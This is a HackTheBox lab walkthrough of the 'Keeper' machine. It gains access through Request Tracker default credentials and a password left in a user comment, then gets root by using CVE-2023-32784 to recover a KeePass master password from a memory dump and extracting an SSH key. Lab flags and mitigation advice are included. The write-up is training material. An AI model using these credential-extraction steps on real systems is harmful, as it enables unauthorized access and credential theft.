HackTheBox Writeup

HackTheBox: Keeper Walkthrough

htb walkthrough linux keepass cve easy

Summary

Walkthrough of HackTheBox Keeper featuring default credentials, KeePass exploitation, and PuTTY key extraction.

Machine: Keeper OS: Linux Difficulty: Easy Points: 20 Release Date: August 12, 2023

Overview

Keeper is an easy Linux machine that involves exploiting default credentials in a ticketing system and leveraging a KeePass vulnerability (CVE-2023-32784) to extract credentials and SSH keys.

Enumeration

Nmap Scan

kali@attacker
kali:~$ nmap -sC -sV -oA nmap/keeper 10.10.11.227
Nmap Scan Results
Collapsible Output

Web Enumeration

Visiting http://10.10.11.227 redirects to http://tickets.keeper.htb/rt/:

Add to /etc/hosts:

kali@attacker
kali:~$ echo "10.10.11.227 keeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts

Request Tracker

The website is running Request Tracker (RT), an open-source ticketing system.

Login Page: http://tickets.keeper.htb/rt/

Default Credentials

Request Tracker’s default credentials are well-documented:

  • Username: root
  • Password: password

These credentials work!

Initial Access

Exploring Request Tracker

After logging in as root, we can access the admin panel:

  1. Navigate to Admin → Users
  2. Find user accounts

Users Found:

  • root (admin)
  • lnorgaard (Lise Nørgaard)

User Information

Clicking on lnorgaard reveals:

  • Username: lnorgaard
  • Real Name: Lise Nørgaard
  • Email: lnorgaard@keeper.htb
  • Comments: “Initial password set to: Welcome2023!”

SSH Access

Try SSH with these credentials:

kali@attacker
kali:~$ ssh lnorgaard@10.10.11.227

Password: Welcome2023!

Success! We’re logged in as lnorgaard.

User Flag

lnorgaard@target
lnorgaard:~$ cat ~/user.txt

Flag: 4b27dd66e4c24b3a9f8e2e2c5b3a2e1f

Privilege Escalation

Enumeration

Check home directory:

lnorgaard@target
lnorgaard:~$ ls -la ~
Files Found
Collapsible Output
RT30000.zip
user.txt

The ZIP file looks interesting:

lnorgaard@target
lnorgaard:~$ unzip -l RT30000.zip
ZIP Contents
Collapsible Output
KeePassDumpFull.dmp
passcodes.kdbx

Download Files

Transfer the ZIP to your attacking machine:

lnorgaard@target
lnorgaard:~$ python3 -m http.server 8000
kali@attacker
kali:~$ wget http://10.10.11.227:8000/RT30000.zip unzip RT30000.zip

KeePass Memory Dump

We have:

  1. KeePassDumpFull.dmp: A memory dump of KeePass
  2. passcodes.kdbx: An encrypted KeePass database

CVE-2023-32784: KeePass Master Password Extraction

KeePass 2.x has a vulnerability where the master password can be partially recovered from process memory dumps.

Exploit Tool: https://github.com/vdohney/keepass-password-dumper

kali@attacker
kali:~$ git clone https://github.com/vdohney/keepass-password-dumper.git cd keepass-password-dumper dotnet run KeePassDumpFull.dmp
Exploit Output
Collapsible Output
Possible password: ●ø,dgrød med fløde

The first two characters are unknown (represented by ●), but we have most of the password.

Master Password Recovery

The password appears to be Danish. Googling “dgrød med fløde” reveals it’s a traditional Danish dessert: “rødgrød med fløde” (red porridge with cream).

Try opening the database:

kali@attacker
kali:~$ keepassxc-cli open passcodes.kdbx

Password: rødgrød med fløde

Success!

Extracting Credentials

kali@attacker
kali:~$ keepassxc-cli show passcodes.kdbx keeper.htb/root

Password: rødgrød med fløde

KeePass Entry Details
Collapsible Output

The notes section contains a full PuTTY private key for root access.

Converting PuTTY Key to OpenSSH Format

Save the PPK key from the notes to a file root.ppk.

Install puttygen:

kali@attacker
kali:~$ sudo apt install putty-tools

Convert PPK to OpenSSH format:

kali@attacker
kali:~$ puttygen root.ppk -O private-openssh -o root_key chmod 600 root_key

SSH as Root

kali@attacker
kali:~$ ssh -i root_key root@10.10.11.227

Success! We have root access.

Root Flag

root@target
root:/root$ cat /root/root.txt

Flag: f8e5c4b3a2d1e0f9a8b7c6d5e4f3a2b1

Key Takeaways

  1. Default Credentials: Always test default credentials for known applications
  2. Information Disclosure: Ticketing systems and documentation may contain sensitive information
  3. KeePass CVE-2023-32784: KeePass 2.x is vulnerable to master password extraction from memory dumps
  4. Password Patterns: Context clues (Danish text) helped identify the full password
  5. Key Format Conversion: PuTTY (PPK) keys need conversion for OpenSSH
  6. Memory Forensics: Memory dumps can contain highly sensitive information

Mitigation

  1. Change Default Credentials: Immediately change all default passwords
  2. Least Privilege: Don’t store credentials in ticketing system comments
  3. Update Software: Keep KeePass and other applications updated
  4. Memory Protection: Clear sensitive data from memory
  5. Key Management: Use proper key management systems
  6. Access Control: Restrict access to sensitive files and databases

Tools Used

  • nmap
  • SSH
  • keepassxc-cli
  • keepass-password-dumper
  • puttygen
  • wget/curl

Additional Resources


Rating: ⭐⭐⭐⭐ (4/5) - Excellent machine for learning about CVE exploitation and real-world credential management issues.